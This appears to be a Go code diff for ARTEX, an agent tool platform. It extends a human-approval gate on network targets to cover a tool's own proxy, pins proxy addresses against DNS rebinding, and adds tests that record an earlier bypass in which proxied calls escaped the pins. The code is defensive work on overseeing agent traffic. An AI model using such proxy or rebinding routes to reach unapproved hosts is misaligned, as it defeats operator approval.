@@ -291,11 +294,11 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
if rule, hit := blockRule(rules, ct); hit {
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
}
pin = coveringPin(pins, ct.ips, nameOnly)
pin = coveringPin(pins, ct.ips, nameOnly, direct)
}
if pin != nil {
ct.cover = coverPin
if nameOnly || pin.NameOnlyEffective {
if nameOnly || (pin.NameOnlyEffective && !direct) {
ct.cover = coverNameOnly
}
uses = append(uses, func() { c.pinUsed(ct, pin, nameOnly) })
@@ -396,7 +399,7 @@ func (c *targetCheck) pinUsed(ct *checkedTarget, pin *db.TargetPin, nameOnly boo
return
}
t := ct.audit("pin_match")
t.PinID, t.PinVersion, t.PinnedIPs, t.NameOnlyEffective = pin.ID, pin.Version, pin.PinnedIPs, pin.NameOnlyEffective || nameOnly
t.PinID, t.PinVersion, t.PinnedIPs, t.NameOnlyEffective = pin.ID, pin.Version, pin.PinnedIPs, nameOnly || (pin.NameOnlyEffective && !DirectHop(c.ctx))
c.log("allowed", fmt.Sprintf("Target %s is covered by pin v%d of %s.", ct.Target, pin.Version, c.scope.scopeName()), "", t)
}
@@ -529,11 +532,13 @@ func exemptionHolds(ct *checkedTarget) bool {
}
// coveringPin returns the pin that covers the resolved addresses: the first
// candidate that is name-only, or that holds every address. The address sets
// of two pins are never merged.
func coveringPin(pins []*db.TargetPin, resolved []string, nameOnly bool) *db.TargetPin {
// candidate that is name-only, or that holds every address. A direct hop does
// not accept a name-only pin on its name alone: the connection is opened to the
// addresses the decision compared, so such a pin covers only when it holds them
// too. The address sets of two pins are never merged.
func coveringPin(pins []*db.TargetPin, resolved []string, nameOnly, direct bool) *db.TargetPin {
for _, p := range pins {
if nameOnly || p.NameOnlyEffective || subset(resolved, p.PinnedIPs) {
if nameOnly || (!direct && p.NameOnlyEffective) || subset(resolved, p.PinnedIPs) {
return p
}
}
+4 -2
View File
@@ -295,8 +295,10 @@ func (i *Interceptor) openTargetRequest(ctx context.Context, ref db.TargetScopeR
proxied := i.upstreamProxy
i.mu.RUnlock()
// Behind the upstream proxy the proxy chooses the address: the approval is
// for the name, and the pin created from this row says so.
nameOnly := proxied != nil && proxied()
// for the name, and the pin created from this row says so. A direct hop is
// not behind it: the tool dials it itself, so the approval and its pin bind
// the addresses a human reads.
nameOnly := !DirectHop(ctx) && proxied != nil && proxied()
dec := Decision{Action: "ask"}
if ask != nil {
@@ -89,7 +89,6 @@ func TestRunIntentPollLoopEmitsAskOperatorActivityAndPausesWithHandoffCause(t *t
ctx, cancel := context.WithCancel(context.Background())
s := New(ctx, m, "", m.dir, m.dir)
s.allowLoopbackModels = true // the mock LLM listens on loopback (test-only guard seam)
t.Cleanup(func() { stopTestServer(t, s, cancel) })
pid, err := m.pg.SaveProfile(&db.LLMProfile{
-1
View File
@@ -117,7 +117,6 @@ func TestLegacyLLMEndpointDoesNotCarryGatewayHeaders(t *testing.T) {
t.Fatal(err)
}
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
s.allowLoopbackModels = true // the gateway addresses below are loopback (test-only guard seam)
post := func(baseURL, token string) {
t.Helper()
body, _ := json.Marshal(map[string]string{
+56 -1
View File
@@ -741,6 +741,20 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
if res := intercept.GateRenderedURL(ctx, key, rawURL); res.Code != "" {
return actool.Errorf(guard.TargetBlockMessage(res)), nil
}
// The tool's own proxy is a connection the panel opens too: with the gate
// on it is a target, as a proxy named on a Bash command line is, and the
// dial is checked again (httpToolTransport). Gate off, it is not checked,
// like the tool URL itself, which may name a loopback or private address
// in that mode. In required mode the sandbox policy checks the proxy dial.
if sbPolicy == nil {
if proxy := s.toolOwnProxy(spec); proxy != "" {
// The proxy is a direct hop: ARTEX dials it itself, so its pin binds
// the addresses the approval resolved, not the name alone.
if res := intercept.GateRenderedURL(intercept.WithDirectHop(ctx), key, gateProxyURL(proxy)); res.Code != "" {
return actool.Errorf(guard.TargetBlockMessage(res)), nil
}
}
}
if err := intercept.CheckStatefulTool(ctx, key, nil, rawURL, method); err != nil {
return actool.Errorf(err.Error()), nil
}
@@ -949,9 +963,16 @@ func sandboxHTTPTransport(tr *http.Transport, policy *sandbox.EgressPolicy) *htt
// httpToolTransport is the transport of one http tool call, or nil
// (http.DefaultTransport). A call through a proxy keeps httpProxyTransport: it
// dials the proxy, which makes the connection to the target. A direct call in
// a gated scope connects through the pinned dialer, to addresses a pin covers.
// a gated scope connects through the pinned dialer, to addresses a pin covers;
// so does the tool's own proxy outside required mode.
func (s *Server) httpToolTransport(ctx context.Context, key string, spec httpExec) *http.Transport {
if tr := s.httpProxyTransport(spec); tr != nil {
if intercept.GateOn(ctx) && !agent.SandboxRequired() && s.toolOwnProxy(spec) != "" {
// The proxy hop is direct: the dial resolves and pins its addresses,
// so a proxy name that later answers another address is refused.
tr.DialContext = intercept.PinnedDialerDirect(key)
tr.DisableKeepAlives = true
}
return tr
}
if !intercept.GateOn(ctx) {
@@ -1004,6 +1025,40 @@ func (s *Server) httpProxyTransport(spec httpExec) *http.Transport {
return tr
}
// toolOwnProxy returns the proxy URL of the tool's own exec.proxy when the call
// goes through it, "" when the call is direct or goes through the recording or
// global proxy, endpoints the gate exempts as configured (see
// httpProxyTransport).
func (s *Server) toolOwnProxy(spec httpExec) string {
if spec.UseRecordingProxy {
if tr := s.m.Traffic(); tr != nil && s.m.TrafficEnabled() {
return ""
}
if proxyURLString(s.m.GlobalProxy()) != "" {
return ""
}
}
proxy := proxyURLString(spec.Proxy)
if _, err := url.Parse(proxy); err != nil {
return "" // httpProxyTransport goes direct
}
return proxy
}
// gateProxyURL is a tool proxy as the gate reads it: without credentials,
// since the gate records the URL it checks, and with the port net/http dials
// for a socks5 proxy that names none. "" (no host) fails closed in the gate.
func gateProxyURL(proxy string) string {
u, err := url.Parse(proxyWithoutCredentials(proxy))
if err != nil || u.Host == "" {
return ""
}
if s := strings.ToLower(u.Scheme); (s == "socks5" || s == "socks5h") && u.Port() == "" {
u.Host = strings.TrimSuffix(u.Host, ":") + ":1080" // u.Host keeps IPv6 brackets
}
return u.String()
}
// proxyURLString returns a proxy address as a URL: a bare host:port gets
// "http://", an address that already has a scheme (as ProxyAddr returns it) is
// kept as is.
+42 -22
View File
@@ -118,10 +118,12 @@ func TestCustomHTTPDirectDialPinned(t *testing.T) {
// With the gate off (and without a scope) the call keeps http.DefaultTransport:
// no transport is built. A spec with a proxy keeps its proxy transport, without
// a dialer. Gate on and direct: a transport with the pinned dialer, no
// environment proxy, keep-alive off.
// environment proxy, keep-alive off. Gate on, the tool's own proxy is dialled
// through the pinned dialer too.
func TestCustomHTTPGateOffTransportUnchanged(t *testing.T) {
s := &Server{}
direct := httpExec{URL: "http://api.example.com/"}
proxied := httpExec{URL: direct.URL, Proxy: "http://127.0.0.1:1"}
scope := func(on bool) context.Context {
return intercept.WithTargetScope(context.Background(), intercept.TargetScope{TaskID: "7", Enabled: func() bool { return on }})
}
@@ -129,9 +131,12 @@ func TestCustomHTTPGateOffTransportUnchanged(t *testing.T) {
if tr := s.httpToolTransport(ctx, "probe", direct); tr != nil {
t.Fatalf("%s: transport %+v, want nil (http.DefaultTransport)", name, tr)
}
if tr := s.httpToolTransport(ctx, "probe", proxied); tr == nil || tr.Proxy == nil || tr.DialContext != nil || tr.DisableKeepAlives {
t.Fatalf("%s, operator proxy: transport %+v, want the proxy transport without a dialer", name, tr)
}
}
if tr := s.httpToolTransport(scope(true), "probe", httpExec{URL: direct.URL, Proxy: "http://127.0.0.1:1"}); tr == nil || tr.Proxy == nil || tr.DialContext != nil {
t.Fatalf("operator proxy: transport %+v, want the proxy transport without a dialer", tr)
if tr := s.httpToolTransport(scope(true), "probe", proxied); tr == nil || tr.Proxy == nil || tr.DialContext == nil || !tr.DisableKeepAlives {
t.Fatalf("gated operator proxy: transport %+v, want the proxy transport with the pinned dialer", tr)
}
if tr := s.httpToolTransport(scope(true), "probe", direct); tr == nil || tr.Proxy != nil || tr.DialContext == nil || !tr.DisableKeepAlives {
t.Fatalf("gated direct call: transport %+v", tr)
@@ -239,13 +244,13 @@ func TestCustomToolTestEndpointDialUngated(t *testing.T) {
}
}
// Documents a known limit: a custom http tool that goes through a proxy is not
// bound to pins. The pinned dialer covers direct connections only; through a
// proxy the connection to the target is the proxy's, and the proxy here
// connects to a peer nobody pinned. Step 2.2 binds the recording proxy (and
// flips its half of this test); an operator-written proxy stays unbound
// (OPEN-6).
func TestBypass_CustomHTTPProxyPeerNotPinned(t *testing.T) {
// A custom http tool that goes through a proxy: the target pin is name-only,
// since the proxy makes the connection to the target, and the proxy here
// connects to a peer nobody pinned. The tool's own proxy is a gate target
// (formerly the known limit OPEN-6): the call waits for its approval, then the
// proxy is dialled through the pinned dialer. The recording and global proxies
// are not checked here and are dialled as before.
func TestCustomHTTPOwnProxyGated(t *testing.T) {
g := newGateServer(t)
on := true
task := g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
@@ -270,28 +275,43 @@ func TestBypass_CustomHTTPProxyPeerNotPinned(t *testing.T) {
direct := g.s.buildCustomTool(&db.Tool{Key: "probe_bypass", Kind: "http", Exec: execJSON(t, map[string]any{"url": url})})
approveTarget(t, g, task, direct, func() (string, bool) { return callTool(t, direct, gatedCtx(task, 0), `{}`, nil) }, key)
// The tool's own proxy: refused until its host:port is approved, then
// dialled through the pinned dialer, at the pinned proxy address only.
proxyKey := strings.TrimPrefix(proxy.URL, "http://")
dialer.route(proxyKey, proxy.Listener.Addr().String())
ownProxy := g.s.buildCustomTool(&db.Tool{Key: "probe_bypass", Kind: "http", Exec: execJSON(t, map[string]any{"url": url, "proxy": proxy.URL})})
callOwn := func() (string, bool) { return callTool(t, ownProxy, gatedCtx(task, 0), `{}`, nil) }
approveTarget(t, g, task, ownProxy, callOwn, proxyKey)
if hits.Load() != 0 || len(dialer.calls()) != 0 {
t.Fatalf("the proxy was dialled before its approval: hits=%d dialled %v", hits.Load(), dialer.calls())
}
if out, isErr := callOwn(); isErr || !strings.Contains(out, "probe-reached") || hits.Load() != 1 {
t.Fatalf("operator proxy after the approval: error=%v out=%q hits=%d", isErr, out, hits.Load())
}
if got := dialer.calls(); !slices.Equal(got, []string{proxyKey}) {
t.Fatalf("dialled %v, want the pinned proxy only; the pinned address 203.0.113.7 is never dialled through a proxy", got)
}
// use_recording_proxy through the global proxy: not checked here, as before.
// The global proxy carries a scheme, as in production (ProxyAddr returns it
// as is with capture off); httpProxyTransport must not write a second one.
global := httptest.NewServer(proxy.Config.Handler)
t.Cleanup(global.Close)
g.m.mu.Lock()
g.m.globalProxy = proxy.URL
g.m.globalProxy = global.URL
g.m.mu.Unlock()
t.Cleanup(func() {
g.m.mu.Lock()
g.m.globalProxy = ""
g.m.mu.Unlock()
})
for name, exec := range map[string]map[string]any{
"operator proxy": {"url": url, "proxy": proxy.URL},
"use_recording_proxy": {"url": url, "use_recording_proxy": true},
} {
before := hits.Load()
tool := g.s.buildCustomTool(&db.Tool{Key: "probe_bypass", Kind: "http", Exec: execJSON(t, exec)})
if out, isErr := callTool(t, tool, gatedCtx(task, 0), `{}`, nil); isErr || !strings.Contains(out, "probe-reached") || hits.Load() != before+1 {
t.Fatalf("%s: error=%v out=%q", name, isErr, out)
}
before, dialled := hits.Load(), len(dialer.calls())
tool := g.s.buildCustomTool(&db.Tool{Key: "probe_bypass", Kind: "http", Exec: execJSON(t, map[string]any{"url": url, "use_recording_proxy": true})})
if out, isErr := callTool(t, tool, gatedCtx(task, 0), `{}`, nil); isErr || !strings.Contains(out, "probe-reached") || hits.Load() != before+1 {
t.Fatalf("use_recording_proxy: error=%v out=%q", isErr, out)
}
if got := dialer.calls(); len(got) != 0 {
t.Fatalf("dialled %v; the pinned address 203.0.113.7 is never dialled through a proxy", got)
if got := dialer.calls(); len(got) != dialled {
t.Fatalf("dialled %v; the global proxy is not dialled through the gate", got[dialled:])
}
}
+141
View File
@@ -0,0 +1,141 @@
package server
import (
"strings"
"testing"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
)
// Gate on: the tool's own proxy is a target. An approved target URL does not
// let the call reach an unapproved proxy: the proxy is not dialled and a
// request opens on its host:port, recorded without the proxy credentials.
func TestCustomHTTPGatedOwnProxyNotDialed(t *testing.T) {
g := newGateServer(t)
on := true
task := g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
_, targetHits, host, port := countingServer(t)
_, proxyHits, _, proxyPort := countingServer(t)
targetURL := "http://" + host + ":" + port + "/"
direct := g.s.buildCustomTool(&db.Tool{Key: "probe_own_proxy", Kind: "http", Exec: execJSON(t, map[string]any{"url": targetURL})})
approveTarget(t, g, task, direct, func() (string, bool) { return callTool(t, direct, gatedCtx(task, 0), `{}`, nil) }, host+":"+port)
if out, isErr := callTool(t, direct, gatedCtx(task, 0), `{}`, nil); isErr || targetHits.Load() != 1 {
t.Fatalf("approved direct call: error=%v out=%q", isErr, out)
}
proxyKey := "127.0.0.1:" + proxyPort
tool := g.s.buildCustomTool(&db.Tool{Key: "probe_own_proxy", Kind: "http",
Exec: execJSON(t, map[string]any{"url": targetURL, "proxy": "http://user:pw-secret@" + proxyKey})})
out, isErr := callTool(t, tool, gatedCtx(task, 0), `{}`, nil)
if !isErr || !strings.Contains(out, "TARGET_APPROVAL_PENDING") || !strings.Contains(out, proxyKey) {
t.Fatalf("unapproved proxy: error=%v out=%q", isErr, out)
}
if n := proxyHits.Load(); n != 0 {
t.Fatalf("unapproved proxy received %d request(s)", n)
}
if n := targetHits.Load(); n != 1 {
t.Fatalf("target received %d request(s), want only the direct one", n)
}
_, toolName, input, ok := openTargetRequest(t, g.m.pg, task.ID, proxyKey)
if !ok || toolName != "probe_own_proxy" || strings.Contains(input, "pw-secret") || strings.Contains(input, "user") {
t.Fatalf("request on the proxy: ok=%v tool=%q input=%s", ok, toolName, input)
}
}
// A saved tool's own proxy is a direct hop: the approval pins the addresses it
// resolved, and a proxy name that later answers another address is refused
// instead of being dialled unpinned (DNS rebinding). The tool is saved so the
// manager knows it uses a proxy, as in production.
func TestCustomHTTPOwnProxyHostnameRebindingRefused(t *testing.T) {
g := newGateServer(t)
on := true
task := g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
_, targetHits, host, port := countingServer(t)
proxy, proxyHits, _, _ := countingServer(t)
targetKey := host + ":" + port
proxyKey := "proxy.example.com:3128"
res := &countingResolver{answers: map[string][]string{"proxy.example.com": {"203.0.113.7"}}}
g.m.interceptor.SetResolver(res)
dialer := newRouteDialer(g)
dialer.route("203.0.113.7:3128", proxy.Listener.Addr().String())
tool := &db.Tool{Key: "probe_rebind_proxy", Kind: "http", Description: "probe",
Exec: execJSON(t, map[string]any{"url": "http://" + targetKey + "/", "proxy": "http://" + proxyKey})}
if err := g.m.pg.CreateCustomTool(tool); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = g.m.pg.DeleteCustomTool(tool.Key) })
built := g.s.buildCustomTool(tool)
call := func() (string, bool) { return callTool(t, built, gatedCtx(task, 0), `{}`, nil) }
approveTarget(t, g, task, built, call, targetKey)
approveTarget(t, g, task, built, call, proxyKey)
if out, isErr := call(); isErr || !strings.Contains(out, "probe-reached") || proxyHits.Load() != 1 {
t.Fatalf("approved proxy: error=%v out=%q hits=%d", isErr, out, proxyHits.Load())
}
pins, err := g.m.pg.ActiveTargetPins(taskRef(t, task), "proxy.example.com", 3128)
if err != nil || len(pins) != 1 || pins[0].NameOnlyEffective ||
len(pins[0].PinnedIPs) != 1 || pins[0].PinnedIPs[0] != "203.0.113.7" {
t.Fatalf("proxy pin: %+v, %v", pins, err)
}
res.set("proxy.example.com", "203.0.113.9")
beforeTarget, beforeProxy, beforeCalls := targetHits.Load(), proxyHits.Load(), len(dialer.calls())
out, isErr := call()
if !isErr || !strings.Contains(out, "TARGET_APPROVAL_PENDING") || !strings.Contains(out, proxyKey) {
t.Fatalf("rebound proxy: error=%v out=%q", isErr, out)
}
if proxyHits.Load() != beforeProxy || targetHits.Load() != beforeTarget {
t.Fatalf("rebound proxy was reached: proxy=%d target=%d",
proxyHits.Load()-beforeProxy, targetHits.Load()-beforeTarget)
}
if got := len(dialer.calls()); got != beforeCalls {
t.Fatalf("dialled %v after the rebind", dialer.calls()[beforeCalls:])
}
}
// Gate off (sandbox off): the proxy is not checked, as on c03939c1. The tool
// URL itself is not checked in that mode either.
func TestCustomHTTPOwnProxyGateOffUnchanged(t *testing.T) {
g := newGateServer(t)
off := false
task := g.newTask(t, db.TaskCreateOptions{TargetGate: &off})
_, hits, host, port := countingServer(t)
tool := g.s.buildCustomTool(&db.Tool{Key: "probe_gate_off", Kind: "http",
Exec: execJSON(t, map[string]any{"url": "http://api.example.com/", "proxy": "http://" + host + ":" + port})})
if out, isErr := callTool(t, tool, gatedCtx(task, 0), `{}`, nil); isErr || !strings.Contains(out, "probe-reached") || hits.Load() != 1 {
t.Fatalf("gate off, loopback proxy: error=%v out=%q hits=%d", isErr, out, hits.Load())
}
}
// ARTEX_SANDBOX=required with the gate on: the proxy is checked by the sandbox
// egress policy only, as on c03939c1. A proxy inside the sandbox scope and
// never approved in the gate is dialled, and no gate request opens on it.
func TestSandboxHTTPToolGatedProxyUnchanged(t *testing.T) {
g := newGateServer(t)
on := true
task := g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
target, targetHits := canaryServer(t, "127.0.0.1", nil)
proxy, proxyHits := canaryServer(t, "127.0.0.2", nil)
targetKey := strings.TrimPrefix(target.URL, "http://")
proxyKey := strings.TrimPrefix(proxy.URL, "http://")
sandboxRequired(t)
call := func(exec map[string]any) (string, bool) {
tool := g.s.buildCustomTool(&db.Tool{Key: "probe_sb_proxy", Kind: "http", Exec: execJSON(t, exec)})
ctx := agent.WithSandboxRunInfo(gatedCtx(task, 0), agent.SandboxRunInfo{
TaskID: task.ID, ScopeCIDRs: []string{"127.0.0.1/32", "127.0.0.2/32"},
})
return callTool(t, tool, ctx, `{}`, nil)
}
direct := map[string]any{"method": "GET", "url": target.URL + "/"}
directTool := g.s.buildCustomTool(&db.Tool{Key: "probe_sb_proxy", Kind: "http", Exec: execJSON(t, direct)})
approveTarget(t, g, task, directTool, func() (string, bool) { return call(direct) }, targetKey)
before := targetHits.Load()
out, isErr := call(map[string]any{"method": "GET", "url": target.URL + "/", "proxy": proxy.URL})
if isErr || !strings.Contains(out, "CANARY_BODY") || proxyHits.Load() != 1 || targetHits.Load() != before {
t.Fatalf("required mode, in-scope proxy: error=%v out=%q proxy hits=%d", isErr, out, proxyHits.Load())
}
if _, _, _, ok := openTargetRequest(t, g.m.pg, task.ID, proxyKey); ok {
t.Fatal("required mode opened a gate request on the proxy")
}
}
+20
View File
@@ -0,0 +1,20 @@
package server
import "testing"
// The gate reads a tool proxy without its credentials, with the port a socks5
// proxy without one is dialled on.
func TestGateProxyURL(t *testing.T) {
for in, want := range map[string]string{
"http://user:pw@10.0.0.5:8080": "http://10.0.0.5:8080",
"socks5://user:pw@10.0.0.5": "socks5://10.0.0.5:1080",
"socks5h://[::1]": "socks5h://[::1]:1080",
"socks5://10.0.0.5:9050": "socks5://10.0.0.5:9050",
"https://proxy.example": "https://proxy.example",
"http://": "",
} {
if got := gateProxyURL(in); got != want {
t.Fatalf("gateProxyURL(%q) = %q, want %q", in, got, want)
}
}
}
-1
View File
@@ -64,7 +64,6 @@ func TestStartTaskEngineFailsTaskOnPlainTextDecomposer(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
s := New(ctx, m, "", m.dir, m.dir)
s.allowLoopbackModels = true // the mock LLM listens on loopback (test-only guard seam)
t.Cleanup(func() { stopTestServer(t, s, cancel) })
pid, err := m.pg.SaveProfile(&db.LLMProfile{
-2
View File
@@ -31,7 +31,6 @@ func TestProfileRouteChangeNeedsKeyForEveryFormat(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
t.Cleanup(cancel)
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
s.allowLoopbackModels = true // the routes below are loopback addresses (test-only guard seam)
const oldKey = "synthetic-old-key"
const header = "X-Example-Route: synthetic-route"
@@ -123,7 +122,6 @@ func TestLegacyLLMEndpointProxyChangeClearsGatewayHeaders(t *testing.T) {
t.Fatal(err)
}
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
s.allowLoopbackModels = true // the routes below are loopback addresses (test-only guard seam)
post := func(proxy, token string) int {
t.Helper()
body, _ := json.Marshal(map[string]string{
-76
View File
@@ -1,76 +0,0 @@
package server
import (
"context"
"errors"
"net/http"
"net/url"
"testing"
"time"
"github.com/Autumn-27/artex/agent"
)
// The run-time client checks the address each connection dials, not only the
// URL: a name that passed the URL check and then resolves to loopback (DNS
// rebinding) is still refused, while an allow-listed host:port is dialled.
func TestGuardModelConfigChecksEveryDial(t *testing.T) {
t.Setenv(LLMPrivateEndpointsEnv, "")
s := &Server{}
fake, hits := fakeModelServer(t)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
cfg := s.guardModelConfig(agent.ConfigFrom("openai", "probe-model", "https://model.example/v1", "synthetic-key", ""))
tr, ok := cfg.HTTPTransport.(*guardedModelTransport)
if !ok || cfg.RedirectPolicy == nil {
t.Fatalf("guarded config has transport %T, redirect policy %v", cfg.HTTPTransport, cfg.RedirectPolicy)
}
if c, err := tr.base.DialContext(ctx, "tcp", fake.Listener.Addr().String()); err == nil {
c.Close()
t.Fatal("a connection to a loopback address was dialled")
}
if hits.Load() != 0 {
t.Fatal("the loopback server was reached")
}
t.Setenv(LLMPrivateEndpointsEnv, fake.Listener.Addr().String())
cfg = s.guardModelConfig(agent.ConfigFrom("openai", "probe-model", fake.URL+"/v1", "synthetic-key", ""))
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, fake.URL+"/v1/models", nil)
resp, err := cfg.HTTPTransport.RoundTrip(req)
if err != nil {
t.Fatalf("allow-listed endpoint: %v", err)
}
resp.Body.Close()
}
// A SOCKS5 proxy hides the destination from the guard: it is refused at save,
// as by the connection test, and every request through it is refused.
func TestModelRouteRefusesSOCKSProxy(t *testing.T) {
s := &Server{modelLookupIP: publicLookup}
cfg := agent.ConfigFrom("openai", "probe-model", "", "synthetic-key", "socks5://proxy.example:1080")
if err := s.checkModelRoute(context.Background(), cfg); err == nil {
t.Fatal("a SOCKS5 proxy passed the save check")
}
req, _ := http.NewRequest(http.MethodPost, "https://api.openai.com/v1/chat/completions", nil)
if _, err := s.guardModelConfig(cfg).HTTPTransport.RoundTrip(req); err == nil {
t.Fatal("a request through a SOCKS5 proxy was sent")
}
}
// A redirect that leaves the configured origin is returned, not followed, as
// the model client does without the guard.
func TestGuardModelConfigKeepsRedirectsOnOrigin(t *testing.T) {
s := &Server{modelLookupIP: publicLookup}
cfg := s.guardModelConfig(agent.ConfigFrom("openai", "probe-model", "https://model.example/v1", "synthetic-key", ""))
from := &http.Request{URL: &url.URL{Scheme: "https", Host: "model.example", Path: "/v1/chat/completions"}}
to := &http.Request{URL: &url.URL{Scheme: "https", Host: "other.example", Path: "/v1/chat/completions"}}
to = to.WithContext(context.Background())
if err := cfg.RedirectPolicy.CheckRedirect(to, []*http.Request{from}); !errors.Is(err, http.ErrUseLastResponse) {
t.Fatalf("cross-origin redirect: %v, want ErrUseLastResponse", err)
}
same := (&http.Request{URL: &url.URL{Scheme: "https", Host: "model.example", Path: "/v2/chat/completions"}}).WithContext(context.Background())
if err := cfg.RedirectPolicy.CheckRedirect(same, []*http.Request{from}); err != nil {
t.Fatalf("same-origin redirect: %v", err)
}
}
-173
View File
@@ -1,173 +0,0 @@
package server
import (
"bytes"
"context"
"encoding/json"
"fmt"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"strings"
"sync/atomic"
"testing"
"time"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/norma/llm"
)
// fakeModelServer answers every request with one non-streaming chat completion
// and counts the requests it received.
func fakeModelServer(t *testing.T) (*httptest.Server, *atomic.Int64) {
t.Helper()
var hits atomic.Int64
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hits.Add(1)
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"id":"1","object":"chat.completion","model":"probe-model","choices":[{"index":0,"message":{"role":"assistant","content":"OK"},"finish_reason":"stop"}],"usage":{"prompt_tokens":1,"completion_tokens":1}}`))
}))
t.Cleanup(fake.Close)
return fake, &hits
}
// publicLookup resolves every name to one public address (modelLookupIP seam).
func publicLookup(context.Context, string) ([]netip.Addr, error) {
return []netip.Addr{netip.MustParseAddr("93.184.216.34")}, nil
}
func runtimeGuardServer(t *testing.T) (*Manager, *Server) {
t.Helper()
skipWithoutDSN(t)
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { m.Close() })
if m.pg == nil {
db.SkipNoPG(t)
}
ctx, cancel := context.WithCancel(context.Background())
cancel()
return m, New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
}
func completeOnce(p llm.Provider) error {
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
defer cancel()
_, _, _, err := p.Complete(ctx, llm.CompletionRequest{
System: []string{"probe"},
Messages: []llm.Message{llm.UserText("ping")},
})
return err
}
func saveProfileRequest(s *Server, profile map[string]any) *httptest.ResponseRecorder {
body, _ := json.Marshal(profile)
rec := httptest.NewRecorder()
s.pgSaveProfile(rec, httptest.NewRequest(http.MethodPost, "/api/llm/profiles", bytes.NewReader(body)))
return rec
}
// A profile whose base_url the connection test refuses (here a loopback
// address not listed in ARTEX_LLM_PRIVATE_ENDPOINTS) is refused when saved, and
// one stored by an earlier release is never contacted at run time: neither the
// per-profile provider nor the global one sends it a request or the stored key.
func TestLLMRuntimeRefusesGuardedBaseURL(t *testing.T) {
t.Setenv(LLMPrivateEndpointsEnv, "")
m, s := runtimeGuardServer(t)
fake, hits := fakeModelServer(t)
base := fake.URL + "/v1"
name := fmt.Sprintf("t-runtime-guard-%d", time.Now().UnixNano())
t.Cleanup(func() { _, _ = m.pg.Exec(`DELETE FROM llm_profiles WHERE name LIKE $1`, name+"%") })
if rec := saveProfileRequest(s, map[string]any{"name": name + "-save", "format": "openai", "model": "probe-model", "base_url": base, "api_key": "synthetic-probe-key", "streaming": false}); rec.Code != http.StatusBadRequest {
t.Errorf("saving a loopback base_url: HTTP %d %s, want 400", rec.Code, rec.Body.String())
}
if rec := saveProfileRequest(s, map[string]any{"name": name + "-proxy", "format": "openai", "model": "probe-model", "proxy": "http://" + fake.Listener.Addr().String(), "api_key": "synthetic-probe-key", "streaming": false}); rec.Code != http.StatusBadRequest {
t.Errorf("saving a loopback proxy: HTTP %d %s, want 400", rec.Code, rec.Body.String())
}
// A profile stored before the save check existed.
id, err := m.pg.SaveProfile(&db.LLMProfile{Name: name + "-stored", Format: "openai", Model: "probe-model", BaseURL: base, APIKey: "synthetic-probe-key"})
if err != nil {
t.Fatal(err)
}
if prov, _, ok := s.providerForProfile(id); ok {
if err := completeOnce(prov); err == nil {
t.Error("a completion through the stored loopback profile succeeded")
}
}
cfg, ok := s.loadProfileConfig(id)
if !ok {
t.Fatal("stored profile does not load")
}
if err := s.applyLLM(cfg); err == nil {
s.cfgMu.Lock()
direct := s.llmDirect
s.cfgMu.Unlock()
if err := completeOnce(direct); err == nil {
t.Error("a completion through the global provider succeeded")
}
}
if n := hits.Load(); n != 0 {
t.Fatalf("the loopback model server received %d requests carrying the stored key, want 0", n)
}
}
// Local model servers the guard allows keep working, at save and at run time:
// an exact host:port listed in ARTEX_LLM_PRIVATE_ENDPOINTS, for an OpenAI
// compatible server (vLLM) and an Ollama profile, and the built-in Ollama
// default when the base URL is left empty.
func TestLLMRuntimeKeepsAllowedLocalServers(t *testing.T) {
m, s := runtimeGuardServer(t)
fake, hits := fakeModelServer(t)
t.Setenv(LLMPrivateEndpointsEnv, fake.Listener.Addr().String())
name := fmt.Sprintf("t-runtime-local-%d", time.Now().UnixNano())
t.Cleanup(func() { _, _ = m.pg.Exec(`DELETE FROM llm_profiles WHERE name LIKE $1`, name+"%") })
check := func(t *testing.T, profile map[string]any, want int64) {
t.Helper()
before := hits.Load()
rec := saveProfileRequest(s, profile)
if rec.Code != http.StatusOK {
t.Fatalf("save: HTTP %d %s, want 200", rec.Code, rec.Body.String())
}
var saved struct{ ID int64 }
if err := json.Unmarshal(rec.Body.Bytes(), &saved); err != nil || saved.ID == 0 {
t.Fatalf("save answer %q: %v", rec.Body.String(), err)
}
prov, _, ok := s.providerForProfile(saved.ID)
if !ok {
t.Fatal("no provider for the saved profile")
}
if err := completeOnce(prov); err != nil {
t.Fatalf("completion: %v", err)
}
if got := hits.Load() - before; got != want {
t.Fatalf("model server received %d requests, want %d", got, want)
}
}
t.Run("vllm", func(t *testing.T) {
check(t, map[string]any{"name": name + "-vllm", "format": "openai", "model": "probe-model", "base_url": fake.URL + "/v1", "api_key": "synthetic-vllm-key", "streaming": false}, 1)
})
t.Run("ollama", func(t *testing.T) {
check(t, map[string]any{"name": name + "-ollama", "format": "ollama", "model": "probe-model", "base_url": fake.URL, "streaming": false}, 1)
})
t.Run("ollama default", func(t *testing.T) {
u := strings.TrimPrefix(strings.TrimSuffix(agent.DefaultOllamaBaseURL, "/v1"), "http://")
ln, err := net.Listen("tcp", u)
if err != nil {
t.Skipf("the default Ollama address %s is in use: %v", u, err)
}
def := httptest.NewUnstartedServer(fake.Config.Handler)
def.Listener.Close()
def.Listener = ln
def.Start()
t.Cleanup(def.Close)
